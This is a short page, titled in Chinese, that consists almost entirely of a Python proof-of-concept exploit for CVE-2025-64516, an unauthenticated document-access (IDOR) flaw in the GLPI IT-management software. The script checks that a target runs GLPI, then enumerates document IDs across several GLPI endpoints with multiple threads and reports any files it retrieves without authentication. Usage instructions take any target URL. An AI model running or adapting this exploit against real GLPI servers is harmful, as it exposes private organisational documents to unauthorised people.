CVE-2025-64516: GLPI未授权访问任意文档漏洞

# CVE-2025-64516 PoC - GLPI Unauthenticated Document Access # This PoC demonstrates IDOR vulnerability in GLPI document access import requests import sys from concurrent.futures import ThreadPoolExecutor, as_completed def check_glpi_version(url): """Check if target is running vulnerable GLPI version""" try: response = requests.get(url + '/', timeout=10) if 'GLPI' in response.text: return True except: pass return False def download_document(base_url, doc_id): """Attempt to download document by ID without authentication""" # Common GLPI document endpoints endpoints = [ f'{base_url}/front/document.send.php?docid={doc_id}', f'{base_url}/ajax/getFile.php?docid={doc_id}', f'{base_url}/files/_dumps/{doc_id}', ] for endpoint in endpoints: try: response = requests.get(endpoint, timeout=10, allow_redirects=True) # Check if we got actual file content (not login page) if response.status_code == 200: content_type = response.headers.get('Content-Type', '') if 'text/html' not in content_type and len(response.content) > 0: print(f'[+] SUCCESS: Downloaded document ID {doc_id}') print(f' Endpoint: {endpoint}') print(f' Size: {len(response.content)} bytes') print(f' Content-Type: {content_type}') return True except Exception as e: continue return False def exploit(target_url, start_id=1, end_id=1000, threads=10): """Main exploitation function""" print(f'[*] Target: {target_url}') print(f'[*] Scanning document IDs from {start_id} to {end_id}') print(f'[*] Using {threads} threads') print('-' * 60) with ThreadPoolExecutor(max_workers=threads) as executor: futures = {executor.submit(download_document, target_url, doc_id): doc_id for doc_id in range(start_id, end_id + 1)} for future in as_completed(futures): try: result = future.result() except Exception as e: pass if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-64516.py <target_url> [start_id] [end_id]') print('Example: python cve-2025-64516.py http://target.com/glpi 1 1000') sys.exit(1) target = sys.argv[1].rstrip('/') start = int(sys.argv[2]) if len(sys.argv) > 2 else 1 end = int(sys.argv[3]) if len(sys.argv) > 3 else 1000 exploit(target, start, end)